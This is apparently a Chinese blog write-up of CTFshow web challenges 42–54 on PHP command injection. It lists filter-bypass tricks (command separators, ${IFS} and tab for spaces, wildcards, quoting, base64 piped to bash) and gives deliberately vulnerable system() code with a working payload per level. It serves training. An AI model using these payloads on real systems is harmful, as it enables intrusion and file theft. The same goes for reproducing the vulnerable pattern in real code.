• 关于CTFshow中Web入门4254


    0x00前记

    ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的坑,很感谢各位师傅帮我填坑!!!

    0x01命令执行

    ​ 题目的考点主要都是命令执行+命令分隔,与ping的那种题目类似,不过这里主要是使用是“>/dev/null 2>&1”,百度查了一下意思,好像是不进行回显的意思,那就分隔命令,将命令分开,使得后面的命令失去相应的作用。

    分隔命令

    ;	//分号应该是最好理解的
    |	//只执行后面那条命令
    ||	//只执行前面那条命令
    &	//两条命令都会执行,不知道是不是自己姿势不对,没成功,下面也是一样
    &&	//两条命令都会执行
    

    空格绕过

    <
    <>	//需要写的权限
    ${IFS}
    $IFS$9
    %20
    %09
    %3c
    A=$'cat\x20flag'&&$A
    A=$'cat\x09flag'&&$A
    

    黑名单

    //一般情况像flag、php这种字符会被ban掉,这时候就需要进行绕过了
    通配符
    *	//匹配任何文本或字符串,这个通过测试发现并不能与IFS或<这两个字符一起使用
    ?	//匹配单个任意字符
    
    空字符
    $@	//ca$@t flag
    $1-$9	//ca$1t flag
    ${数字}  //ca${1}t flag
    
    编码绕过
    echo "Y2F0IGZsYWcucGhwCg=="|base64 -d|bash	//解码为cat flag.php并执行
    echo "cat flag.php"|base64	//最好别在在线网站编码,不然可能会将空格转成url编码,从而无法执行命令
    
    变量替换
    a=t;b=g;ca$a fla$b.php
    
    引号
    ca''t fl''ag.php
    
    反斜杆
    ca\t f\la\g.php
    

    Linux查看文件命令

    cat		//cat flag.php
    tac		//tac flag.php
    head	//head flag.php
    tail	//tail flag.php
    nl		//nl flag.php
    more	//more flag.php
    less	//less flag.php
    od		//od flag.php
    grep	//grep 'fla' flag.php
    strings	//strings flag.php
    sort	//sort flag.php
    

    0x02题目解析

    以下题目均来自:CTFshow

    感谢大师傅给我们出了这些有趣有意思的题目,开心

    Web42

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        system($c." >/dev/null 2>&1");
    }else{
        highlight_file(__FILE__);
    }
    
    //这题没有任何的过滤,只有一个不回显的命令,命令分隔一下即可
    Payload:?c=cat flag.php;
    

    Web43

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这题开始增加了黑名单了,过滤了分号-->可以用||绕过;cat则可以换一种查看文件的命令,或者使用引号等方式绕过
    Payload:?c=tac flag.php||
    

    Web44

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/;|cat|flag/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //对此开始过滤flag关键词了,这里可以用单引号、通配符等方法绕过
    Payload:?c=tac fla*||
    

    Web45

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| /i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这里开始过滤空格了,利用上面讲到的空格绕过即可
    Payload:?c=tac%09fla?????||
    

    Web46

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这里过滤了数字推测可能是限制使用编码绕过,过滤了$可以限制比较多,以及通配符*,但是还有?
    Payload:?c=tac%09fla??php||
    

    Web47

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //新添加了一些查看文件的命令进黑名单,但是tac还是可以用的
    Payload:?c=tac%09fla??php||
    

    Web48

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //继续新增黑名单的内容,但是tac还是没过滤,开心
    Payload:?c=tac%09fla??php||
    

    Web49

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    Payload:?c=tac%09fla??php||
    

    Web50

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
            system($c." >/dev/null 2>&1");
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //这里过滤了%和09,不能用原来的payload,不过换种空格绕过方式即可,这里有个坑就是<>和?一起使用时没有回显,所以这里用了单引号绕过
    Payload:?c=tac<>fla%27%27g.php||
    

    后面几题其实都是差不多的,这里不多赘述了。

    Web54

    if(isset($_GET['c'])){
        $c=$_GET['c'];
        if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
            system($c);
        }
    }else{
        highlight_file(__FILE__);
    }
    
    //因为这里加了匹配的内容,不能使用空字符绕过了,好不容易找到了grep命令,好用!!!因为flag被过滤了,所以对于关键字这里只用了'fla'
    Payload:?c=grep${IFS}'fla'${IFS}fla??php
    
  • 相关阅读:
    【Azure 应用服务】由 Azure Functions runtime is unreachable 的错误消息推导出 ASYNC(异步)和 SYNC(同步)混用而引起ThreadPool耗尽问题
    【Azure API 管理】是否可以将Swagger 的API定义导入导Azure API Management中
    【Azure 应用服务】Azure Function 不能被触发
    【Azure 环境】Azure Key Vault (密钥保管库)中所保管的Keys, Secrets,Certificates是否可以实现数据粒度的权限控制呢?
    【Azure 事件中心】为应用程序网关(Application Gateway with WAF) 配置诊断日志,发送到事件中心
    【Azure 事件中心】azure-spring-cloud-stream-binder-eventhubs客户端组件问题, 实践消息非顺序可达
    【Azure API 管理】Azure API Management通过请求中的Path来限定其被访问的频率(如1秒一次)
    【Azure 环境】前端Web通过Azure AD获取Token时发生跨域问题(CORS Error)
    【Azure 应用服务】记一次Azure Spring Cloud 的部署错误 (az spring-cloud app deploy -g dev -s testdemo -n demo -p ./hellospring-0.0.1-SNAPSHOT.jar --->>> Failed to wait for deployment instances to be ready)
    【Azure 应用服务】App Service中抓取 Web Job 的 DUMP 办法
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/13640600.html
Copyright © 2020-2023  润新知